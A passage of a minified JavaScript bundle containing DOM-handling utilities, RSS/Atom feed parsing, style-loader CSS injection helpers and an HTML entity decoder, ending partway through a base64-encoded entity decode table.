t.type===a.ElementType.Directive}function x(t){return t.type===a.ElementType.Root}function w(t,e){var r;if(void 0===e&&(e=!1),b(t))r=new c(t.data);else if(y(t))r=new u(t.data);else if(g(t)){var n=e?_(t.children):[],i=new h(t.name,o({},t.attribs),n);n.forEach(function(t){return t.parent=i}),null!=t.namespace&&(i.namespace=t.namespace),t[\"x-attribsNamespace\"]&&(i[\"x-attribsNamespace\"]=o({},t[\"x-attribsNamespace\"])),t[\"x-attribsPrefix\"]&&(i[\"x-attribsPrefix\"]=o({},t[\"x-attribsPrefix\"])),r=i}else if(A(t)){n=e?_(t.children):[];var a=new m(n);n.forEach(function(t){return t.parent=a}),r=a}else if(x(t)){n=e?_(t.children):[];var s=new f(n);n.forEach(function(t){return t.parent=s}),t[\"x-mode\"]&&(s[\"x-mode\"]=t[\"x-mode\"]),r=s}else{if(!v(t))throw new Error(\"Not implemented yet: \".concat(t.type));var l=new p(t.name,t.data);null!=t[\"x-name\"]&&(l[\"x-name\"]=t[\"x-name\"],l[\"x-publicId\"]=t[\"x-publicId\"],l[\"x-systemId\"]=t[\"x-systemId\"]),r=l}return r.startIndex=t.startIndex,r.endIndex=t.endIndex,null!=t.sourceCodeLocation&&(r.sourceCodeLocation=t.sourceCodeLocation),r}function _(t){for(var e=t.map(function(t){return w(t,!0)}),r=1;r<e.length;r++)e[r].prev=e[r-1],e[r-1].next=e[r];return e}e.Element=h,e.isTag=g,e.isCDATA=A,e.isText=b,e.isComment=y,e.isDirective=v,e.isDocument=x,e.hasChildren=function(t){return Object.prototype.hasOwnProperty.call(t,\"children\")},e.cloneNode=w},2772(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.getFeed=function(t){var e=l(p,t);return e?\"feed\"===e.name?function(t){var e,r=t.children,n={type:\"atom\",items:(0,i.getElementsByTagName)(\"entry\",r).map(function(t){var e,r=t.children,n={media:s(r)};u(n,\"id\",\"id\",r),u(n,\"title\",\"title\",r);var i=null===(e=l(\"link\",r))||void 0===e?void 0:e.attribs.href;i&&(n.link=i);var o=c(\"summary\",r)||c(\"content\",r);o&&(n.description=o);var a=c(\"updated\",r);return a&&(n.pubDate=new Date(a)),n})};u(n,\"id\",\"id\",r),u(n,\"title\",\"title\",r);var o=null===(e=l(\"link\",r))||void 0===e?void 0:e.attribs.href;o&&(n.link=o);u(n,\"description\",\"subtitle\",r);var a=c(\"updated\",r);a&&(n.updated=new Date(a));return u(n,\"author\",\"email\",r,!0),n}(e):function(t){var e,r,n=null!==(r=null===(e=l(\"channel\",t.children))||void 0===e?void 0:e.children)&&void 0!==r?r:[],o={type:t.name.substr(0,3),id:\"\",items:(0,i.getElementsByTagName)(\"item\",t.children).map(function(t){var e=t.children,r={media:s(e)};u(r,\"id\",\"guid\",e),u(r,\"title\",\"title\",e),u(r,\"link\",\"link\",e),u(r,\"description\",\"description\",e);var n=c(\"pubDate\",e)||c(\"dc:date\",e);return n&&(r.pubDate=new Date(n)),r})};u(o,\"title\",\"title\",n),u(o,\"link\",\"link\",n),u(o,\"description\",\"description\",n);var a=c(\"lastBuildDate\",n);a&&(o.updated=new Date(a));return u(o,\"author\",\"managingEditor\",n,!0),o}(e):null};var n=r(9124),i=r(1974);var o=[\"url\",\"type\",\"lang\"],a=[\"fileSize\",\"bitrate\",\"framerate\",\"samplingrate\",\"channels\",\"duration\",\"height\",\"width\"];function s(t){return(0,i.getElementsByTagName)(\"media:content\",t).map(function(t){for(var e=t.attribs,r={medium:e.medium,isDefault:!!e.isDefault},n=0,i=o;n<i.length;n++){e[c=i[n]]&&(r[c]=e[c])}for(var s=0,l=a;s<l.length;s++){var c;e[c=l[s]]&&(r[c]=parseInt(e[c],10))}return e.expression&&(r.expression=e.expression),r})}function l(t,e){return(0,i.getElementsByTagName)(t,e,!0,1)[0]}function c(t,e,r){return void 0===r&&(r=!1),(0,n.textContent)((0,i.getElementsByTagName)(t,e,r,1)).trim()}function u(t,e,r,n,i){void 0===i&&(i=!1);var o=c(r,n,i);o&&(t[e]=o)}function p(t){return\"rss\"===t||\"feed\"===t||\"rdf:RDF\"===t}},5936(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.DocumentPosition=void 0,e.removeSubsets=function(t){var e=t.length;for(;--e>=0;){var r=t[e];if(e>0&&t.lastIndexOf(r,e-1)>=0)t.splice(e,1);else for(var n=r.parent;n;n=n.parent)if(t.includes(n)){t.splice(e,1);break}}return t},e.compareDocumentPosition=o,e.uniqueSort=function(t){return(t=t.filter(function(t,e,r){return!r.includes(t,e+1)})).sort(function(t,e){var r=o(t,e);return r&n.PRECEDING?-1:r&n.FOLLOWING?1:0}),t};var n,i=r(4128);function o(t,e){var r=[],o=[];if(t===e)return 0;for(var a=(0,i.hasChildren)(t)?t:t.parent;a;)r.unshift(a),a=a.parent;for(a=(0,i.hasChildren)(e)?e:e.parent;a;)o.unshift(a),a=a.parent;for(var s=Math.min(r.length,o.length),l=0;l<s&&r[l]===o[l];)l++;if(0===l)return n.DISCONNECTED;var c=r[l-1],u=c.children,p=r[l],d=o[l];return u.indexOf(p)>u.indexOf(d)?c===e?n.FOLLOWING|n.CONTAINED_BY:n.FOLLOWING:c===t?n.PRECEDING|n.CONTAINS:n.PRECEDING}!function(t){t[t.DISCONNECTED=1]=\"DISCONNECTED\",t[t.PRECEDING=2]=\"PRECEDING\",t[t.FOLLOWING=4]=\"FOLLOWING\",t[t.CONTAINS=8]=\"CONTAINS\",t[t.CONTAINED_BY=16]=\"CONTAINED_BY\"}(n||(e.DocumentPosition=n={}))},1941(t,e,r){\"use strict\";var n=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),i=this&&this.__exportStar||function(t,e){for(var r in t)\"default\"===r||Object.prototype.hasOwnProperty.call(e,r)||n(e,t,r)};Object.defineProperty(e,\"__esModule\",{value:!0}),e.hasChildren=e.isDocument=e.isComment=e.isText=e.isCDATA=e.isTag=void 0,i(r(9124),e),i(r(2851),e),i(r(568),e),i(r(1161),e),i(r(1974),e),i(r(5936),e),i(r(2772),e);var o=r(4128);Object.defineProperty(e,\"isTag\",{enumerable:!0,get:function(){return o.isTag}}),Object.defineProperty(e,\"isCDATA\",{enumerable:!0,get:function(){return o.isCDATA}}),Object.defineProperty(e,\"isText\",{enumerable:!0,get:function(){return o.isText}}),Object.defineProperty(e,\"isComment\",{enumerable:!0,get:function(){return o.isComment}}),Object.defineProperty(e,\"isDocument\",{enumerable:!0,get:function(){return o.isDocument}}),Object.defineProperty(e,\"hasChildren\",{enumerable:!0,get:function(){return o.hasChildren}})},1974(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.testElement=function(t,e){var r=l(t);return!r||r(e)},e.getElements=function(t,e,r,n){void 0===n&&(n=1/0);var o=l(t);return o?(0,i.filter)(o,e,r,n):[]},e.getElementById=function(t,e,r){void 0===r&&(r=!0);Array.isArray(e)||(e=[e]);return(0,i.findOne)(a(\"id\",t),e,r)},e.getElementsByTagName=function(t,e,r,n){void 0===r&&(r=!0);void 0===n&&(n=1/0);return(0,i.filter)(o.tag_name(t),e,r,n)},e.getElementsByClassName=function(t,e,r,n){void 0===r&&(r=!0);void 0===n&&(n=1/0);return(0,i.filter)(a(\"class\",t),e,r,n)},e.getElementsByTagType=function(t,e,r,n){void 0===r&&(r=!0);void 0===n&&(n=1/0);return(0,i.filter)(o.tag_type(t),e,r,n)};var n=r(4128),i=r(1161),o={tag_name:function(t){return\"function\"==typeof t?function(e){return(0,n.isTag)(e)&&t(e.name)}:\"*\"===t?n.isTag:function(e){return(0,n.isTag)(e)&&e.name===t}},tag_type:function(t){return\"function\"==typeof t?function(e){return t(e.type)}:function(e){return e.type===t}},tag_contains:function(t){return\"function\"==typeof t?function(e){return(0,n.isText)(e)&&t(e.data)}:function(e){return(0,n.isText)(e)&&e.data===t}}};function a(t,e){return\"function\"==typeof e?function(r){return(0,n.isTag)(r)&&e(r.attribs[t])}:function(r){return(0,n.isTag)(r)&&r.attribs[t]===e}}function s(t,e){return function(r){return t(r)||e(r)}}function l(t){var e=Object.keys(t).map(function(e){var r=t[e];return Object.prototype.hasOwnProperty.call(o,e)?o[e](r):a(e,r)});return 0===e.length?null:e.reduce(s)}},568(t,e){\"use strict\";function r(t){if(t.prev&&(t.prev.next=t.next),t.next&&(t.next.prev=t.prev),t.parent){var e=t.parent.children,r=e.lastIndexOf(t);r>=0&&e.splice(r,1)}t.next=null,t.prev=null,t.parent=null}Object.defineProperty(e,\"__esModule\",{value:!0}),e.removeElement=r,e.replaceElement=function(t,e){var r=e.prev=t.prev;r&&(r.next=e);var n=e.next=t.next;n&&(n.prev=e);var i=e.parent=t.parent;if(i){var o=i.children;o[o.lastIndexOf(t)]=e,t.parent=null}},e.appendChild=function(t,e){if(r(e),e.next=null,e.parent=t,t.children.push(e)>1){var n=t.children[t.children.length-2];n.next=e,e.prev=n}else e.prev=null},e.append=function(t,e){r(e);var n=t.parent,i=t.next;if(e.next=i,e.prev=t,t.next=e,e.parent=n,i){if(i.prev=e,n){var o=n.children;o.splice(o.lastIndexOf(i),0,e)}}else n&&n.children.push(e)},e.prependChild=function(t,e){if(r(e),e.parent=t,e.prev=null,1!==t.children.unshift(e)){var n=t.children[1];n.prev=e,e.next=n}else e.next=null},e.prepend=function(t,e){r(e);var n=t.parent;if(n){var i=n.children;i.splice(i.indexOf(t),0,e)}t.prev&&(t.prev.next=e);e.parent=n,e.prev=t.prev,e.next=t,t.prev=e}},1161(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.filter=function(t,e,r,n){void 0===r&&(r=!0);void 0===n&&(n=1/0);return i(t,Array.isArray(e)?e:[e],r,n)},e.find=i,e.findOneChild=function(t,e){return e.find(t)},e.findOne=function t(e,r,i){void 0===i&&(i=!0);for(var o=Array.isArray(r)?r:[r],a=0;a<o.length;a++){var s=o[a];if((0,n.isTag)(s)&&e(s))return s;if(i&&(0,n.hasChildren)(s)&&s.children.length>0){var l=t(e,s.children,!0);if(l)return l}}return null},e.existsOne=function t(e,r){return(Array.isArray(r)?r:[r]).some(function(r){return(0,n.isTag)(r)&&e(r)||(0,n.hasChildren)(r)&&t(e,r.children)})},e.findAll=function(t,e){for(var r=[],i=[Array.isArray(e)?e:[e]],o=[0];;)if(o[0]>=i[0].length){if(1===i.length)return r;i.shift(),o.shift()}else{var a=i[0][o[0]++];(0,n.isTag)(a)&&t(a)&&r.push(a),(0,n.hasChildren)(a)&&a.children.length>0&&(o.unshift(0),i.unshift(a.children))}};var n=r(4128);function i(t,e,r,i){for(var o=[],a=[Array.isArray(e)?e:[e]],s=[0];;)if(s[0]>=a[0].length){if(1===s.length)return o;a.shift(),s.shift()}else{var l=a[0][s[0]++];if(t(l)&&(o.push(l),--i<=0))return o;r&&(0,n.hasChildren)(l)&&l.children.length>0&&(s.unshift(0),a.unshift(l.children))}}},9124(t,e,r){\"use strict\";var n=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,\"__esModule\",{value:!0}),e.getOuterHTML=s,e.getInnerHTML=function(t,e){return(0,i.hasChildren)(t)?t.children.map(function(t){return s(t,e)}).join(\"\"):\"\"},e.getText=function t(e){return Array.isArray(e)?e.map(t).join(\"\"):(0,i.isTag)(e)?\"br\"===e.name?\"\\n\":t(e.children):(0,i.isCDATA)(e)?t(e.children):(0,i.isText)(e)?e.data:\"\"},e.textContent=function t(e){if(Array.isArray(e))return e.map(t).join(\"\");if((0,i.hasChildren)(e)&&!(0,i.isComment)(e))return t(e.children);return(0,i.isText)(e)?e.data:\"\"},e.innerText=function t(e){if(Array.isArray(e))return e.map(t).join(\"\");if((0,i.hasChildren)(e)&&(e.type===a.ElementType.Tag||(0,i.isCDATA)(e)))return t(e.children);return(0,i.isText)(e)?e.data:\"\"};var i=r(4128),o=n(r(9079)),a=r(5413);function s(t,e){return(0,o.default)(t,e)}},2851(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.getChildren=i,e.getParent=o,e.getSiblings=function(t){var e=o(t);if(null!=e)return i(e);var r=[t],n=t.prev,a=t.next;for(;null!=n;)r.unshift(n),n=n.prev;for(;null!=a;)r.push(a),a=a.next;return r},e.getAttributeValue=function(t,e){var r;return null===(r=t.attribs)||void 0===r?void 0:r[e]},e.hasAttrib=function(t,e){return null!=t.attribs&&Object.prototype.hasOwnProperty.call(t.attribs,e)&&null!=t.attribs[e]},e.getName=function(t){return t.name},e.nextElementSibling=function(t){var e=t.next;for(;null!==e&&!(0,n.isTag)(e);)e=e.next;return e},e.prevElementSibling=function(t){var e=t.prev;for(;null!==e&&!(0,n.isTag)(e);)e=e.prev;return e};var n=r(4128);function i(t){return(0,n.hasChildren)(t)?t.children:[]}function o(t){return t.parent||null}},5072(t){\"use strict\";var e=[];function r(t){for(var r=-1,n=0;n<e.length;n++)if(e[n].identifier===t){r=n;break}return r}function n(t,n){for(var o={},a=[],s=0;s<t.length;s++){var l=t[s],c=n.base?l[0]+n.base:l[0],u=o[c]||0,p=\"\".concat(c,\" \").concat(u);o[c]=u+1;var d=r(p),m={css:l[1],media:l[2],sourceMap:l[3],supports:l[4],layer:l[5]};if(-1!==d)e[d].references++,e[d].updater(m);else{var f=i(m,n);n.byIndex=s,e.splice(s,0,{identifier:p,updater:f,references:1})}a.push(p)}return a}function i(t,e){var r=e.domAPI(e);r.update(t);return function(e){if(e){if(e.css===t.css&&e.media===t.media&&e.sourceMap===t.sourceMap&&e.supports===t.supports&&e.layer===t.layer)return;r.update(t=e)}else r.remove()}}t.exports=function(t,i){var o=n(t=t||[],i=i||{});return function(t){t=t||[];for(var a=0;a<o.length;a++){var s=r(o[a]);e[s].references--}for(var l=n(t,i),c=0;c<o.length;c++){var u=r(o[c]);0===e[u].references&&(e[u].updater(),e.splice(u,1))}o=l}}},7659(t){\"use strict\";var e={};t.exports=function(t,r){var n=function(t){if(void 0===e[t]){var r=document.querySelector(t);if(window.HTMLIFrameElement&&r instanceof window.HTMLIFrameElement)try{r=r.contentDocument.head}catch(t){r=null}e[t]=r}return e[t]}(t);if(!n)throw new Error(\"Couldn't find a style target. This probably means that the value for the 'insert' parameter is invalid.\");n.appendChild(r)}},540(t){\"use strict\";t.exports=function(t){var e=document.createElement(\"style\");return t.setAttributes(e,t.attributes),t.insert(e,t.options),e}},5056(t,e,r){\"use strict\";t.exports=function(t){var e=r.nc;e&&t.setAttribute(\"nonce\",e)}},7825(t){\"use strict\";t.exports=function(t){if(\"undefined\"==typeof document)return{update:function(){},remove:function(){}};var e=t.insertStyleElement(t);return{update:function(r){!function(t,e,r){var n=\"\";r.supports&&(n+=\"@supports (\".concat(r.supports,\") {\")),r.media&&(n+=\"@media \".concat(r.media,\" {\"));var i=void 0!==r.layer;i&&(n+=\"@layer\".concat(r.layer.length>0?\" \".concat(r.layer):\"\",\" {\")),n+=r.css,i&&(n+=\"}\"),r.media&&(n+=\"}\"),r.supports&&(n+=\"}\");var o=r.sourceMap;o&&\"undefined\"!=typeof btoa&&(n+=\"\\n/*# sourceMappingURL=data:application/json;base64,\".concat(btoa(unescape(encodeURIComponent(JSON.stringify(o)))),\" */\")),e.styleTagTransform(n,t,e.options)}(e,t,r)},remove:function(){!function(t){if(null===t.parentNode)return!1;t.parentNode.removeChild(t)}(e)}}}},1113(t){\"use strict\";t.exports=function(t,e){if(e.styleSheet)e.styleSheet.cssText=t;else{for(;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(document.createTextNode(t))}}},6262(t,e){\"use strict\";e.A=(t,e)=>{const r=t.__vccOpts||t;for(const[t,n]of e)r[t]=n;return r}},9746(){},9977(){},197(){},1866(){},2739(){},5979(t,e){\"use strict\";var r;Object.defineProperty(e,\"__esModule\",{value:!0}),e.fromCodePoint=void 0,e.replaceCodePoint=i,e.decodeCodePoint=function(t){return(0,e.fromCodePoint)(i(t))};const n=new Map([[0,65533],[128,8364],[130,8218],[131,402],[132,8222],[133,8230],[134,8224],[135,8225],[136,710],[137,8240],[138,352],[139,8249],[140,338],[142,381],[145,8216],[146,8217],[147,8220],[148,8221],[149,8226],[150,8211],[151,8212],[152,732],[153,8482],[154,353],[155,8250],[156,339],[158,382],[159,376]]);function i(t){var e;return t>=55296&&t<=57343||t>1114111?65533:null!==(e=n.get(t))&&void 0!==e?e:t}e.fromCodePoint=null!==(r=String.fromCodePoint)&&void 0!==r?r:t=>{let e=\"\";return t>65535&&(t-=65536,e+=String.fromCharCode(t>>>10&1023|55296),t=56320|1023&t),e+=String.fromCharCode(t),e}},9299(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.xmlDecodeTree=e.htmlDecodeTree=e.replaceCodePoint=e.fromCodePoint=e.decodeCodePoint=e.EntityDecoder=e.DecodingMode=void 0,e.determineBranch=h,e.decodeHTML=function(t,e=d.Legacy){return g(t,e)},e.decodeHTMLAttribute=function(t){return g(t,d.Attribute)},e.decodeHTMLStrict=function(t){return g(t,d.Strict)},e.decodeXML=function(t){return A(t,d.Strict)};const n=r(5979),i=r(642),o=r(1838),a=r(4865);var s;!function(t){t[t.NUM=35]=\"NUM\",t[t.SEMI=59]=\"SEMI\",t[t.EQUALS=61]=\"EQUALS\",t[t.ZERO=48]=\"ZERO\",t[t.NINE=57]=\"NINE\",t[t.LOWER_A=97]=\"LOWER_A\",t[t.LOWER_F=102]=\"LOWER_F\",t[t.LOWER_X=120]=\"LOWER_X\",t[t.LOWER_Z=122]=\"LOWER_Z\",t[t.UPPER_A=65]=\"UPPER_A\",t[t.UPPER_F=70]=\"UPPER_F\",t[t.UPPER_Z=90]=\"UPPER_Z\"}(s||(s={}));function l(t){return t>=s.ZERO&&t<=s.NINE}function c(t){return t>=s.UPPER_A&&t<=s.UPPER_F||t>=s.LOWER_A&&t<=s.LOWER_F}function u(t){return t===s.EQUALS||function(t){return t>=s.UPPER_A&&t<=s.UPPER_Z||t>=s.LOWER_A&&t<=s.LOWER_Z||l(t)}(t)}var p,d;!function(t){t[t.EntityStart=0]=\"EntityStart\",t[t.NumericStart=1]=\"NumericStart\",t[t.NumericDecimal=2]=\"NumericDecimal\",t[t.NumericHex=3]=\"NumericHex\",t[t.NamedEntity=4]=\"NamedEntity\"}(p||(p={})),function(t){t[t.Legacy=0]=\"Legacy\",t[t.Strict=1]=\"Strict\",t[t.Attribute=2]=\"Attribute\"}(d||(e.DecodingMode=d={}));class m{constructor(t,e,r){this.decodeTree=t,this.emitCodePoint=e,this.errors=r,this.state=p.EntityStart,this.consumed=1,this.result=0,this.treeIndex=0,this.excess=1,this.decodeMode=d.Strict,this.runConsumed=0}startEntity(t){this.decodeMode=t,this.state=p.EntityStart,this.result=0,this.treeIndex=0,this.excess=1,this.consumed=1,this.runConsumed=0}write(t,e){switch(this.state){case p.EntityStart:return t.charCodeAt(e)===s.NUM?(this.state=p.NumericStart,this.consumed+=1,this.stateNumericStart(t,e+1)):(this.state=p.NamedEntity,this.stateNamedEntity(t,e));case p.NumericStart:return this.stateNumericStart(t,e);case p.NumericDecimal:return this.stateNumericDecimal(t,e);case p.NumericHex:return this.stateNumericHex(t,e);case p.NamedEntity:return this.stateNamedEntity(t,e)}}stateNumericStart(t,e){return e>=t.length?-1:(32|t.charCodeAt(e))===s.LOWER_X?(this.state=p.NumericHex,this.consumed+=1,this.stateNumericHex(t,e+1)):(this.state=p.NumericDecimal,this.stateNumericDecimal(t,e))}stateNumericHex(t,e){for(;e<t.length;){const r=t.charCodeAt(e);if(!l(r)&&!c(r))return this.emitNumericEntity(r,3);{const t=r<=s.NINE?r-s.ZERO:(32|r)-s.LOWER_A+10;this.result=16*this.result+t,this.consumed++,e++}}return-1}stateNumericDecimal(t,e){for(;e<t.length;){const r=t.charCodeAt(e);if(!l(r))return this.emitNumericEntity(r,2);this.result=10*this.result+(r-s.ZERO),this.consumed++,e++}return-1}emitNumericEntity(t,e){var r;if(this.consumed<=e)return null===(r=this.errors)||void 0===r||r.absenceOfDigitsInNumericCharacterReference(this.consumed),0;if(t===s.SEMI)this.consumed+=1;else if(this.decodeMode===d.Strict)return 0;return this.emitCodePoint((0,n.replaceCodePoint)(this.result),this.consumed),this.errors&&(t!==s.SEMI&&this.errors.missingSemicolonAfterCharacterReference(),this.errors.validateNumericCharacterReference(this.result)),this.consumed}stateNamedEntity(t,e){const{decodeTree:r}=this;let n=r[this.treeIndex],i=(n&a.BinTrieFlags.VALUE_LENGTH)>>14;for(;e<t.length;){if(0===i&&0!==(n&a.BinTrieFlags.FLAG13)){const o=(n&a.BinTrieFlags.BRANCH_LENGTH)>>7;if(0===this.runConsumed){const r=n&a.BinTrieFlags.JUMP_TABLE;if(t.charCodeAt(e)!==r)return 0===this.result?0:this.emitNotTerminatedNamedEntity();e++,this.excess++,this.runConsumed++}for(;this.runConsumed<o;){if(e>=t.length)return-1;const n=this.runConsumed-1,i=r[this.treeIndex+1+(n>>1)],o=n%2==0?255&i:i>>8&255;if(t.charCodeAt(e)!==o)return this.runConsumed=0,0===this.result?0:this.emitNotTerminatedNamedEntity();e++,this.excess++,this.runConsumed++}this.runConsumed=0,this.treeIndex+=1+(o>>1),n=r[this.treeIndex],i=(n&a.BinTrieFlags.VALUE_LENGTH)>>14}if(e>=t.length)break;const o=t.charCodeAt(e);if(o===s.SEMI&&0!==i&&0!==(n&a.BinTrieFlags.FLAG13))return this.emitNamedEntityData(this.treeIndex,i,this.consumed+this.excess);if(this.treeIndex=h(r,n,this.treeIndex+Math.max(1,i),o),this.treeIndex<0)return 0===this.result||this.decodeMode===d.Attribute&&(0===i||u(o))?0:this.emitNotTerminatedNamedEntity();if(n=r[this.treeIndex],i=(n&a.BinTrieFlags.VALUE_LENGTH)>>14,0!==i){if(o===s.SEMI)return this.emitNamedEntityData(this.treeIndex,i,this.consumed+this.excess);this.decodeMode!==d.Strict&&0===(n&a.BinTrieFlags.FLAG13)&&(this.result=this.treeIndex,this.consumed+=this.excess,this.excess=0)}e++,this.excess++}return-1}emitNotTerminatedNamedEntity(){var t;const{result:e,decodeTree:r}=this,n=(r[e]&a.BinTrieFlags.VALUE_LENGTH)>>14;return this.emitNamedEntityData(e,n,this.consumed),null===(t=this.errors)||void 0===t||t.missingSemicolonAfterCharacterReference(),this.consumed}emitNamedEntityData(t,e,r){const{decodeTree:n}=this;return this.emitCodePoint(1===e?n[t]&~(a.BinTrieFlags.VALUE_LENGTH|a.BinTrieFlags.FLAG13):n[t+1],r),3===e&&this.emitCodePoint(n[t+2],r),r}end(){var t;switch(this.state){case p.NamedEntity:return 0===this.result||this.decodeMode===d.Attribute&&this.result!==this.treeIndex?0:this.emitNotTerminatedNamedEntity();case p.NumericDecimal:return this.emitNumericEntity(0,2);case p.NumericHex:return this.emitNumericEntity(0,3);case p.NumericStart:return null===(t=this.errors)||void 0===t||t.absenceOfDigitsInNumericCharacterReference(this.consumed),0;case p.EntityStart:return 0}}}function f(t){let e=\"\";const r=new m(t,t=>e+=(0,n.fromCodePoint)(t));return function(t,n){let i=0,o=0;for(;(o=t.indexOf(\"&\",o))>=0;){e+=t.slice(i,o),r.startEntity(n);const a=r.write(t,o+1);if(a<0){i=o+r.end();break}i=o+a,o=0===a?i+1:i}const a=e+t.slice(i);return e=\"\",a}}function h(t,e,r,n){const i=(e&a.BinTrieFlags.BRANCH_LENGTH)>>7,o=e&a.BinTrieFlags.JUMP_TABLE;if(0===i)return 0!==o&&n===o?r:-1;if(o){const e=n-o;return e<0||e>=i?-1:t[r+e]-1}const s=i+1>>1;let l=0,c=i-1;for(;l<=c;){const e=l+c>>>1,i=t[r+(e>>1)]>>8*(1&e)&255;if(i<n)l=e+1;else{if(!(i>n))return t[r+s+e];c=e-1}}return-1}e.EntityDecoder=m;const g=f(i.htmlDecodeTree),A=f(o.xmlDecodeTree);var b=r(5979);Object.defineProperty(e,\"decodeCodePoint\",{enumerable:!0,get:function(){return b.decodeCodePoint}}),Object.defineProperty(e,\"fromCodePoint\",{enumerable:!0,get:function(){return b.fromCodePoint}}),Object.defineProperty(e,\"replaceCodePoint\",{enumerable:!0,get:function(){return b.replaceCodePoint}});var y=r(642);Object.defineProperty(e,\"htmlDecodeTree\",{enumerable:!0,get:function(){return y.htmlDecodeTree}});var v=r(1838);Object.defineProperty(e,\"xmlDecodeTree\",{enumerable:!0,get:function(){return v.xmlDecodeTree}})},642(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.htmlDecodeTree=void 0;const n=r(275);e.htmlDecodeTree=(0,n.decodeBase64)(\"QR08ALkAAgH6AYsDNQR2BO0EPgXZBQEGLAbdBxMISQrvCmQLfQurDKQNLw4fD4YPpA+6D/IPAAAAAAAAAAAAAAAAKhBMEY8TmxUWF2EYLBkxGuAa3RsJHDscWR8YIC8jSCSIJcMl6ie3Ku8rEC0CLjoupS7kLgAIRU1hYmNmZ2xtbm9wcnN0dVQAWgBeAGUAaQBzAHcAfgCBAIQAhwCSAJoAoACsALMAbABpAGcAO4DGAMZAUAA7gCYAJkBjAHUAdABlADuAwQDBQHIiZXZlAAJhAAFpeW0AcgByAGMAO4DCAMJAEGRyAADgNdgE3XIAYQB2AGUAO4DAAMBA8CFoYZFj4SFjcgBhZAAAoFMqAAFncIsAjgBvAG4ABGFmAADgNdg43fAlbHlGdW5jdGlvbgCgYSBpAG4AZwA7gMUAxUAAAWNzpACoAHIAAOA12Jzc6SFnbgCgVCJpAGwAZABlADuAwwDDQG0AbAA7gMQAxEAABGFjZWZvcnN1xQDYANoA7QDxAPYA+QD8AAABY3LJAM8AayNzbGFzaAAAoBYidgHTANUAAKDnKmUAZAAAoAYjeQARZIABY3J0AOAA5QDrAGEidXNlAACgNSLuI291bGxpcwCgLCFhAJJjcgAA4DXYBd1wAGYAAOA12Dnd5SF2ZdhiYwDyAOoAbSJwZXEAAKBOIgAHSE9hY2RlZmhpbG9yc3UXARoBHwE6AVIBVQFiAWQBZgGCAakB6QHtAfIBYwB5ACdkUABZADuAqQCpQIABY3B5ACUBKAE1AfUhdGUGYWmg0iJ0KGFsRGlmZmVyZW50aWFsRAAAoEUhbCJleXMAAKAtIQACYWVpb0EBRAFKAU0B8iFvbgxhZABpAGwAO4DHAMdAcgBjAAhhbiJpbnQAAKAwIm8AdAAKYQABZG5ZAV0BaSJsbGEAuGB0I2VyRG90ALdg8gA5AWkAp2NyImNsZQAAAkRNUFRwAXQBeQF9AW8AdAAAoJkiaSJudXMAAKCWIuwhdXMAoJUiaSJtZXMAAKCXIm8AAAFjc4cBlAFrKndpc2VDb250b3VySW50ZWdyYWwAAKAyImUjQ3VybHkAAAFEUZwBpAFvJXVibGVRdW90ZQAAoB0gdSJvdGUAAKAZIAACbG5wdbABtgHNAdgBbwBuAGWgNyIAoHQqgAFnaXQAvAHBAcUB8iJ1ZW50AKBhIm4AdAAAoC8i7yV1ckludGVncmFsAKAuIgABZnLRAdMBAKACIe8iZHVjdACgECJuLnRlckNsb2Nrd2lzZUNvbnRvdXJJbnRlZ3JhbAAAoDMi7yFzcwCgLypjAHIAAOA12J7ccABDoNMiYQBwAACgTSKABURKU1phY2VmaW9zAAsCEgIVAhgCGwIsAjQCOQI9AnMCfwNvoEUh9CJyYWhkAKARKWMAeQACZGMAeQAFZGMAeQAPZIABZ3JzACECJQIoAuchZXIAoCEgcgAAoKEhaAB2AACg5CoAAWF5MAIzAvIhb24OYRRkbAB0oAciYQCUY3IAAOA12AfdAAFhZkECawIAAWNtRQJnAvIjaXRpY2FsAAJBREdUUAJUAl8CYwJjInV0ZQC0YG8AdAFZAloC2WJiJGxlQWN1dGUA3WJyImF2ZQBgYGkibGRlANxi7yFuZACgxCJmJWVyZW50aWFsRAAAoEYhcAR9AgAAAAAAAIECjgIAABoDZgAA4DXYO91EoagAhQKJAm8AdAAAoNwgcSJ1YWwAAKBQIuIhbGUAA0NETFJVVpkCqAK1Au8C/wIRA28AbgB0AG8AdQByAEkAbgB0AGUAZwByAGEA7ADEAW8AdAKvAgAAAACwAqhgbiNBcnJvdwAAoNMhAAFlb7kC0AJmAHQAgAFBUlQAwQLGAs0CciJyb3cAAKDQIekkZ2h0QXJyb3cAoNQhZQDlACsCbgBnAAABTFLWAugC5SFmdAABQVLcAuECciJyb3cAAKD4J+kkZ2h0QXJyb3cAoPon6SRnaHRBcnJvdwCg+SdpImdodAAAAUFU9gL7AnIicm93AACg0iFlAGUAAKCoInAAQQIGAwAAAAALA3Iicm93AACg0SFvJHduQXJyb3cAAKDVIWUlcnRpY2FsQmFyAACgJSJuAAADQUJMUlRhJAM2AzoDWgNxA3oDciJyb3cAAKGTIUJVLAMwA2EAcgAAoBMpcCNBcnJvdwAAoPUhciJldmUAEWPlIWZ00gJDAwAASwMAAFIDaSVnaHRWZWN0b3IAAKBQKWUkZVZlY3RvcgAAoF4p5SJjdG9yQqC9IWEAcgAAoFYpaSJnaHQA1AFiAwAAaQNlJGVWZWN0b3IAAKBfKeUiY3RvckKgwSFhAHIAAKBXKWUAZQBBoKQiciJyb3cAAKCnIXIAcgBvAPcAtAIAAWN0gwOHA3IAAOA12J/c8iFvaxBhAAhOVGFjZGZnbG1vcHFzdHV4owOlA6kDsAO/A8IDxgPNA9ID8gP9AwEEFAQeBCAEJQRHAEphSAA7gNAA0EBjAHUAdABlADuAyQDJQIABYWl5ALYDuQO+A/Ihb24aYXIAYwA7gMoAykAtZG8AdAAWYXIAAOA12A